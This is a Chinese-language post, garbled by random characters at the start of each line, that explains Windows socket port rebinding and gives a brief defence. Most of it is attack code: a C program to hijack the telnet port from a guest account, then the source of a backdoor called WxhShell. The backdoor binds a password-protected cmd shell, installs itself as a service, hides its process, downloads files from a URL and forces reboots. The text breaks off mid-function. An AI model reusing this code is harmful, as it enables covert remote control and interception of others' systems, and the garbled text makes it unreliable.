在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_'4A|-9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wB'zuPAK6 T0)4v-EO saddr.sin_family = AF_INET;
js1!9%BV y"]n:M:( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y(R?
,wa=] YV=QF
J' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2|\A7. ld$i+6| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=4GSg1Biy |6Gm:jV 这意味着什么?意味着可以进行如下的攻击:
+q6ydb, imQURC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}QZQ3@ G!4(BGx& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
zf3v5Hk yH][(o=2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AM=z`0so kq\)MQ"/X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.CP&bJP% m*e{\)rd# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
tx?dIy; CctJFcEZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kw2T> &A#~)i5gF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
MX@IHc !w
BJ,&E #include
TAjh"JJIV #include
h|X^dQb] #include
$ d?.2Kg #include
;?C#IU DWORD WINAPI ClientThread(LPVOID lpParam);
RN=` -*E1 int main()
3D?sL!W {
8Sz})UZ WORD wVersionRequested;
Spt?>sm DWORD ret;
Y8flrM2CwG WSADATA wsaData;
J>d.dq>r BOOL val;
O-)-YVU SOCKADDR_IN saddr;
@F(mi1QO SOCKADDR_IN scaddr;
X.`~>`8 int err;
!3T&4t SOCKET s;
fM^[7;]7e SOCKET sc;
#^+DL]*l int caddsize;
"RIZV HANDLE mt;
fNGZ o DWORD tid;
HR}bbsqxVf wVersionRequested = MAKEWORD( 2, 2 );
pW4 cX err = WSAStartup( wVersionRequested, &wsaData );
YBh'EL}P if ( err != 0 ) {
r'gOVi4t1* printf("error!WSAStartup failed!\n");
{v3P9s( return -1;
yDNOt C| }
HSq}7S&U saddr.sin_family = AF_INET;
A 7[:5$ 'vN G(h#%d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gv5*!eI 8QMPY[{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$1ndKB8)`J saddr.sin_port = htons(23);
+SJd@y@fR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h=-"SW {
1;VHM' printf("error!socket failed!\n");
cX3l t5 return -1;
ws4cF
N9P? }
f 2l{^E#h val = TRUE;
G@j0rnn>B //SO_REUSEADDR选项就是可以实现端口重绑定的
hlt[\LP=$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n_'{^6*O {
S6fb f>[ printf("error!setsockopt failed!\n");
Uix6GT; return -1;
Z0l+1iMx }
K_&4D' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p,"g+ MwP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`p+Zz"/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Agrk|wPK $\9~)Rq6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
v0L\0&+ {
?IpLf\n- ret=GetLastError();
_YRE (YZ/ printf("error!bind failed!\n");
CirZ+o return -1;
!>:?rSg* }
~K@'+5Pc listen(s,2);
L@fY$Rw while(1)
u{L!n$D7 {
R
LD`O9#j caddsize = sizeof(scaddr);
+@r*} //接受连接请求
bV"G~3COy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hJPlq0C if(sc!=INVALID_SOCKET)
G}p\8Q}' {
0V?F'<qy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
63A}TBC if(mt==NULL)
#KO,~]k5|e {
i&n'N8D@ printf("Thread Creat Failed!\n");
0bo/XUpi break;
jVq(?Gc }
A<ynIs< }
71l%MH CloseHandle(mt);
`/_G$_ }
$kQ~d8 O closesocket(s);
Si~vDQ7" WSACleanup();
5scEc,JCi return 0;
t]e;;q=L. }
9H%X2#:fH DWORD WINAPI ClientThread(LPVOID lpParam)
Gw1@KKg {
4!wR_@W^El SOCKET ss = (SOCKET)lpParam;
9VbOQ {8 SOCKET sc;
(IPY^>h unsigned char buf[4096];
M.>l#4s,' SOCKADDR_IN saddr;
L{c q, jk long num;
}[xs~!2F DWORD val;
Y3=_ec3w DWORD ret;
y.q(vzg\_ //如果是隐藏端口应用的话,可以在此处加一些判断
d \35a4l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
uyY|v$FM saddr.sin_family = AF_INET;
KSrx[q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-neKuj
saddr.sin_port = htons(23);
uAWM\? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=xS+5( {
hh[jN7K printf("error!socket failed!\n");
x@Hc@R<! return -1;
)[Yv?>ib }
2r ZxSg val = 100;
,tg0L$qC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{+@bZ}57 {
9rA=pH%<>B ret = GetLastError();
1u9LdkhnY return -1;
p"U,G
-_ }
yR\btx|e5~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zi3\63D3eO {
Kx%Sku<F' ret = GetLastError();
[#sz WNfU return -1;
cSm%s }
B9J&=6`) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;"m ,:5% {
Xp}Yw"7 printf("error!socket connect failed!\n");
)=etG closesocket(sc);
6w@ Ii; closesocket(ss);
Y(d$ return -1;
$O5UyKI }
&kpwo ) while(1)
STaA]i}P {
J:\|Nc? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[r[=W! //如果是嗅探内容的话,可以再此处进行内容分析和记录
-bU oCF0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9*(aUz9j num = recv(ss,buf,4096,0);
cx0*X* if(num>0)
BGu?<bET send(sc,buf,num,0);
h?azFA~ else if(num==0)
C;vtY[}< break;
Vkc#7W( num = recv(sc,buf,4096,0);
w/ K_B:s if(num>0)
HC}YY2 send(ss,buf,num,0);
*VZ5B<Ic else if(num==0)
r#B+(X7LM break;
"^]cQ"A }
r#Oo
nZ closesocket(ss);
*v3]}g[< closesocket(sc);
` 5C~ return 0 ;
D= h)& }
=%BZ9,l \R;`zuv 6efnxxY}sa ==========================================================
X7g1:L1Ys e[#j.|m 下边附上一个代码,,WXhSHELL
v7`HQvQEz= d8x \ ==========================================================
]]wA[c~G }B.H|*uO #include "stdafx.h"
|a!fhl+ BV[ 5} #include <stdio.h>
GHeVp/u #include <string.h>
1OF&
* #include <windows.h>
<z!CDg4 #include <winsock2.h>
[n$BRk| #include <winsvc.h>
UQI]>#_/v #include <urlmon.h>
WpRc)g: PuZf/um #pragma comment (lib, "Ws2_32.lib")
6<ZkJ:= #pragma comment (lib, "urlmon.lib")
o$Z6zm xO b^$|Nz;
#define MAX_USER 100 // 最大客户端连接数
DY?Kfvef #define BUF_SOCK 200 // sock buffer
|Xk4&sDrK #define KEY_BUFF 255 // 输入 buffer
Z7?~S2{c '`uwJ&@ #define REBOOT 0 // 重启
wL:flH@ #define SHUTDOWN 1 // 关机
3z&Fi;<+j "UJ
S5[7$ #define DEF_PORT 5000 // 监听端口
?CA, 8Bjib&im #define REG_LEN 16 // 注册表键长度
c. 2).Jt, #define SVC_LEN 80 // NT服务名长度
&@yo;kB *=*AAF // 从dll定义API
z21|Dhiw& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/Bm( `T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#Q`dku%V: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>b{q. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%eO0wa$a ]3l 9:| // wxhshell配置信息
k>g_Z`%< struct WSCFG {
(X3Tav int ws_port; // 监听端口
x"
L20} char ws_passstr[REG_LEN]; // 口令
:FTMmW,>' int ws_autoins; // 安装标记, 1=yes 0=no
D
'Zt char ws_regname[REG_LEN]; // 注册表键名
AQ[GO6$,%H char ws_svcname[REG_LEN]; // 服务名
C
.~+*"Vw char ws_svcdisp[SVC_LEN]; // 服务显示名
?TKRjgW`@_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
E`uY1B[c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SF<c0bR9 int ws_downexe; // 下载执行标记, 1=yes 0=no
%Va!\# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`.Qi?* ^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&?yZv{ VQS~\:1 };
~15N7=wCM z3;*Em8Ir // default Wxhshell configuration
_zwG\I|Q struct WSCFG wscfg={DEF_PORT,
&H`jL4S "xuhuanlingzhe",
*5^Q7`` 1,
"*srx] "Wxhshell",
x}"uZ$g
"Wxhshell",
N<-gI9_ "WxhShell Service",
j4R(B "Wrsky Windows CmdShell Service",
5X:*/FuS@ "Please Input Your Password: ",
ry` z(f 1,
ZU%[guf "
http://www.wrsky.com/wxhshell.exe",
^8AXxE "Wxhshell.exe"
OD6\Mr2= };
sv&;Y\2c B2'i7Ps // 消息定义模块
EKsT~SS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;k>&FWEG char *msg_ws_prompt="\n\r? for help\n\r#>";
|~vI3]}fx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ikvWh<=>H char *msg_ws_ext="\n\rExit.";
qtQ6cqLd char *msg_ws_end="\n\rQuit.";
u*ObwcI/Bn char *msg_ws_boot="\n\rReboot...";
u /\EtSH char *msg_ws_poff="\n\rShutdown...";
.G#8a1# char *msg_ws_down="\n\rSave to ";
+N:o-9 zM(vr"U char *msg_ws_err="\n\rErr!";
=aBctd:eX` char *msg_ws_ok="\n\rOK!";
ne_TIwf w- t~#zMUfac char ExeFile[MAX_PATH];
mSb#Nn6W int nUser = 0;
Ke2ccN HANDLE handles[MAX_USER];
[VsKa\9u int OsIsNt;
HTS%^<u [8*jw'W|[ SERVICE_STATUS serviceStatus;
^!<BQP7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
L"4mL, ^5h]Y;tx // 函数声明
;E3>ay6m8 int Install(void);
<?riU\-]y int Uninstall(void);
='s(| int DownloadFile(char *sURL, SOCKET wsh);
F.=2u"[*& int Boot(int flag);
C8V/UbA
/ void HideProc(void);
BlA_.]Sg$ int GetOsVer(void);
xgKdMW'%g: int Wxhshell(SOCKET wsl);
'z%o16F)L void TalkWithClient(void *cs);
-v]Sr33L int CmdShell(SOCKET sock);
6'!4jh int StartFromService(void);
V`XNDNJ: int StartWxhshell(LPSTR lpCmdLine);
vnM@QfN A|X">,A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7G}2,ueI VOID WINAPI NTServiceHandler( DWORD fdwControl );
;
Q3n 'kL#] // 数据结构和表定义
lTV'J?8!-a SERVICE_TABLE_ENTRY DispatchTable[] =
hp 5|@ {
'+?"iVVo {wscfg.ws_svcname, NTServiceMain},
ZK@N5/H( {NULL, NULL}
j/f?"VEr };
4GY[7^ Rld!,t // 自我安装
1+jAz`nA:T int Install(void)
qQ?"@>PALD {
-y8`yHb_ char svExeFile[MAX_PATH];
=E.t`x= HKEY key;
&3J_^210 strcpy(svExeFile,ExeFile);
uao0_swW5 Z\ja // 如果是win9x系统,修改注册表设为自启动
ebUBrxZX if(!OsIsNt) {
1p/3!1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V@cM |( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#t:S.A@ RegCloseKey(key);
XBb~\p3y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KLitg6&P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8&?s#5zA RegCloseKey(key);
i]6`LqlO return 0;
->g*</ }
'%dfzK*Z }
x,|hU@h }
V C24sU else {
'E/^8md> D(AXk8Vub // 如果是NT以上系统,安装为系统服务
C/vIEYG4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
AGQ#$fh>7= if (schSCManager!=0)
%S*{9hm/ {
'rO!AcdLU SC_HANDLE schService = CreateService
V )x$|!( (
!Wy6/F@Z schSCManager,
\]2]/=2tLd wscfg.ws_svcname,
;*:]*|bw wscfg.ws_svcdisp,
f78An 8 SERVICE_ALL_ACCESS,
>0ph9$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Mn2QZp4 SERVICE_AUTO_START,
j3{I /m SERVICE_ERROR_NORMAL,
)FF>IFHG svExeFile,
>*#1ZB_l NULL,
1 u| wMO NULL,
?'@8kpb NULL,
=|3ek NULL,
T92UeG NULL
X(]WVCu );
_wkVwPr if (schService!=0)
|)b6>.^ {
H%UL%l$ CloseServiceHandle(schService);
zr+zhpp CloseServiceHandle(schSCManager);
TMlP*d# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^S UPi strcat(svExeFile,wscfg.ws_svcname);
b&~4t/Vq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]b7zJUz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6K-_pg] RegCloseKey(key);
s.N7qO^:E return 0;
G-xDN59K }
P"y`A}Bx }
H:t$'kb` CloseServiceHandle(schSCManager);
juka0/ }
pQ=>.JU }
Y;@>b{s 1zm ulj%& return 1;
Z~oo;xE }
5iz{op<$, 5!DBmAB // 自我卸载
wQP^WzNE int Uninstall(void)
e vrXo"3 {
u frW\X HKEY key;
%k-3?%&8 ein4^o<f. if(!OsIsNt) {
Kwefs;<E? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/'].lp RegDeleteValue(key,wscfg.ws_regname);
^)(bM$(` RegCloseKey(key);
z3&]%Q& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DnCP
aM4% RegDeleteValue(key,wscfg.ws_regname);
=(NB%} RegCloseKey(key);
Bg5Wba%NK return 0;
F(k.,0Nc }
e+$p9k~ }
T (OW }
ZHU5SXu else {
lE;Ewg 1crnmJ!C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
87<-kV if (schSCManager!=0)
'(f&P=[b {
MBt9SXM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1rv)&tKs if (schService!=0)
!V"<U2 {
,uo'c_f(e if(DeleteService(schService)!=0) {
"uuVy$6C CloseServiceHandle(schService);
%\D)u8} CloseServiceHandle(schSCManager);
:=/85\P0SU return 0;
iYDEI e }
%X4xv_o`f CloseServiceHandle(schService);
<(-= 'QA }
0Sle
CloseServiceHandle(schSCManager);
&u /Nf&A }
WFO4gB* }
QW$G FME3sa$ return 1;
;i
Fz?d3; }
Wc,~ { 0'V5/W // 从指定url下载文件
"}q@Y= int DownloadFile(char *sURL, SOCKET wsh)
:n0vQ5a {
ln?v
j)j HRESULT hr;
gZLP\_CL char seps[]= "/";
B8B; y^b>i char *token;
Y' %^NP}o char *file;
Y%PwktQm char myURL[MAX_PATH];
4US"hexE< char myFILE[MAX_PATH];
e?7&M
tNGp\~ strcpy(myURL,sURL);
FN\E*@>X= token=strtok(myURL,seps);
k.uMp<)D while(token!=NULL)
jp0<pw_ {
S/D^ file=token;
n` xR5!de token=strtok(NULL,seps);
Qa.<K{m#? }
( M7pT ny`#%Vs GetCurrentDirectory(MAX_PATH,myFILE);
wQe_vY strcat(myFILE, "\\");
X:6c}p%,! strcat(myFILE, file);
vg3=8># send(wsh,myFILE,strlen(myFILE),0);
&;+-?k| send(wsh,"...",3,0);
7g%E`3)" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GM3f-\/ if(hr==S_OK)
qOSM}ei>s return 0;
kL$!E9 else
n}'=yItVL1 return 1;
5qr'.m NMa}
< }
:a$\/E = }HY-uQ%@g // 系统电源模块
OU8Lldt int Boot(int flag)
hS)'a^FV {
dR"@` HANDLE hToken;
d5oIH TOKEN_PRIVILEGES tkp;
'=Rs/EDME -?mfE+kt if(OsIsNt) {
Z/t+8;TMR, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Jh
]i]7r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qNYN-f~@, tkp.PrivilegeCount = 1;
4"(<X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r7b1- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5*1D$mxD" if(flag==REBOOT) {
C}_ ojcR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hRs&t,{& return 0;
s;3= {e. }
M7@2^G]p else {
8DegN,? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[N/"5
[ return 0;
h&--,A > }
/(iFcMT }
=zKhz8B( else {
ApAO/q if(flag==REBOOT) {
\4v]7SV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
yt.F\ [1 return 0;
y~F,0"N\r }
*XT/KxLa7 else {
FQqI<6; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4<k9?)~(J return 0;
/+@p7FqlE }
}Q=!Y>Tc }
dvt9u9Vg= q U]gj@R return 1;
kzt(i Y_6 }
<})2#sZO!
w-Da~[J // win9x进程隐藏模块
v"#mzd.tW void HideProc(void)
X22[tqg;& {
k + H3Bq (=* cK-3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
R,pX:H+ if ( hKernel != NULL )
H;YP8MoQ {
i*#-I3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
WJ4li@T7V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/f|X(docI FreeLibrary(hKernel);
[3{W^WSOz }
cd$m25CxC PfC!lI
BU return;
%F-ZN^R }
m^GJuPLW (Q.waI // 获取操作系统版本
T>R0T{A int GetOsVer(void)
FW/W%^ {
M#As0~y OSVERSIONINFO winfo;
9J9)AV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fjs
[f'L GetVersionEx(&winfo);
f"qga/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6WU(% return 1;
%<an9WMF else
*Df,Ijh $ return 0;
\E%'Y }
E
,|xJjh K }Vv4x1U // 客户端句柄模块
XqW@rU int Wxhshell(SOCKET wsl)
Aq0S-HKF {
>rJnayLF SOCKET wsh;
S$Q8>u6Wk struct sockaddr_in client;
v?&
-xH-S DWORD myID;
eC[$B99\ kH]yl
2 while(nUser<MAX_USER)
fO0XA"= {
2@%$;. int nSize=sizeof(client);
,!7 H]4Qx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,'p2v)p^4 if(wsh==INVALID_SOCKET) return 1;
\H=&`? !+L/Khw/C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~~SwCXZ+b^ if(handles[nUser]==0)
;)!Sp:mHX closesocket(wsh);
]8f ms( else
+(C6#R<LI nUser++;
?sMP~RHQ }
6y6<JR-V2k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2Fq<*pxAY
BPdfYu,il return 0;
o[cV1G }
LAd\ Tvms )FpZPdN+h // 关闭 socket
V{^!BBQ
void CloseIt(SOCKET wsh)
V??dYB( {
u"d~!j1 closesocket(wsh);
'+$EhFwD nUser--;
}lfnnK# ExitThread(0);
dVsE^jsL }
$D}{]MN. Mi/&f // 客户端请求句柄
WnGGo'Z void TalkWithClient(void *cs)
[$ejp>'Ud {
|b|&XB_<]Z )*,5"CO SOCKET wsh=(SOCKET)cs;
k[HAkB \{ char pwd[SVC_LEN];
xYhrO char cmd[KEY_BUFF];
j{Txl\D> char chr[1];
8AnP7}n;?' int i,j;
m"o ;L3 q~*t@ while (nUser < MAX_USER) {
V}SBuQp" <K8\n^i~c if(wscfg.ws_passstr) {
wyQzM6:,yX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OujCb^Rm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'rr^2d]`ST //ZeroMemory(pwd,KEY_BUFF);
7LU}Iiv i=0;
\'CDRr"uw while(i<SVC_LEN) {
<j5NFJ9 Oh'Y0_oB> // 设置超时
%7gkNa fd_set FdRead;
,{LG4qvP struct timeval TimeOut;
k&.Jk
B" FD_ZERO(&FdRead);
Xt#4/>dlR FD_SET(wsh,&FdRead);
qt;y2gf= TimeOut.tv_sec=8;
Hrz f'a|^ TimeOut.tv_usec=0;
>&p0d0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9\]^|?zQ` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yq NzdzX =Q[b'*o7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Nqrmp" ] pwd
=chr[0]; 1f8GW
if(chr[0]==0xd || chr[0]==0xa) { hWT[L.>k
pwd=0; ^1L>l9F
break; ])Qs {hs~s
} |"9 #bU
i++; i}o[- S4
} 7g(F#T?;'
o4zM)\;F
// 如果是非法用户,关闭 socket H)>;/#!r-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ijdXU8
} <F.Tx$s
Ns[ym>x#2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S}ECW,K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]f_6 '|5A
9>g,
while(1) { W"k8KODOY
ZG du|
ZeroMemory(cmd,KEY_BUFF); >+
4huRb
9 `w)
// 自动支持客户端 telnet标准 cPU/tkc
j=0; rn=m\Gv
e
while(j<KEY_BUFF) { sSQs#+&=[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r,Nq7Txn?
cmd[j]=chr[0]; pTyi!:g3W
if(chr[0]==0xa || chr[0]==0xd) { 3Bx:Ntx<
cmd[j]=0; !ZI7&r`u;
break; ZJ 77[
} *L'>U[Pl7
j++; jD`d#R
} *r$+&8V\n
I~9hx*!%%
// 下载文件 E)9yH\$6
if(strstr(cmd,"http://")) { wlEo"BA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IW%|G
if(DownloadFile(cmd,wsh)) ;XDz)`c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ke1Cn'[
else *mMEl]+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !DI{:I_h(
} z ly unJD(
else { C$@yG)Pj
p!<$vE
switch(cmd[0]) { {M?vBgR\B
yGsz2T;w
// 帮助 B-T/V-c7
case '?': { _"#!e{N|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n]u<!.X
break; yH<$k^0r*
} OHflIeq#@
// 安装 $Tb G+Eb8
case 'i': { a<A+4uXyD
if(Install()) ocyb5j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); His*t1o8'O
else 'D%w|Pe?Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = 07]z@s
break; 4L73]3&
} G_dsrpI=N
// 卸载 wprX!)w<i
case 'r': { v
(2GX
if(Uninstall()) DS%\SrC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ON_$FUe
else _ %x4ty
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i]#+1Hf
break; X2xuwA
} \^V`ds*.
// 显示 wxhshell 所在路径 8l"O(B'#Z
case 'p': { ((^sDE6(
char svExeFile[MAX_PATH]; JMS(9>+TA
strcpy(svExeFile,"\n\r"); s-7RW
strcat(svExeFile,ExeFile); N*@aDM07
send(wsh,svExeFile,strlen(svExeFile),0); wHem5E
break; ;kJu$U
} 2Gs$?}"a
// 重启 [*Z`Kc
case 'b': { ,=
&B28Qe)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IB`>'~s&A
if(Boot(REBOOT)) /2m?15c+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hku!bJ
else { fbkd "7u
closesocket(wsh); ,\aUq|~
ExitThread(0); 2PR^:h2
} ;=< ^0hxer
break; vw)7 !/#
} u?[ q=0.J7
// 关机 3F#+~^2
case 'd': { Z^9/v
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3 s>'hn
if(Boot(SHUTDOWN)) "z*:'8;E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?~QIALA
else { U5]pi+r
closesocket(wsh); t
nS+5F
ExitThread(0); _7D _72
} jkF8\dR
break; :EtMH(
} '>v^6iS
// 获取shell P &)1Rka
case 's': { -OYDe@Wb]
CmdShell(wsh); nCKbgM'"
closesocket(wsh); gs
W0
ExitThread(0); YUdxG/~'
break; NA.1QQ;e
} vwr74A.g0
// 退出 {@u<3 s
case 'x': { XIWm>IQ[)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o."rxd
CloseIt(wsh); Sc]P<F7N]
break; 3[XQR8o
} h)v^q: ='
// 离开 Oc&),ru2l
case 'q': { v[lnw} =m9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +}
mk>e/
closesocket(wsh); C`'W#xnp1
WSACleanup(); 0q9>6?=i
exit(1); Fn^C{p^
break; GyC /_ntn
} pX=,iOF[I
} Y?#i{ixX6n
} 3qQUpm+
= zl=SLe
// 提示信息 ?R5'#|EyX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? &zQaxD
} LjdYsai-
} $A}QY5`+~S
!eJCM`cp
return; ^I]{7$6^
} L"<B;u5pM
f'6|OsVQ
// shell模块句柄 p[WX'M0f
int CmdShell(SOCKET sock) y>\S@I
{ Fpt-V
STARTUPINFO si; &&L"&Rc
ZeroMemory(&si,sizeof(si)); 2BzqY`O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $cVi;2$p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @1R8-aa-r
PROCESS_INFORMATION ProcessInfo; {[(pWd%J
char cmdline[]="cmd"; -iCcoA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &D#+6M&LK{
return 0; \O7J=6fn
} XV'fW~j\
cywg[
// 自身启动模式 a)2yE,":
int StartFromService(void) V8O.3fo`[`
{ Vj;
vo`T
typedef struct d \>2
{ <E\V`g
DWORD ExitStatus; a-n4:QT
DWORD PebBaseAddress; iS@\ =CK
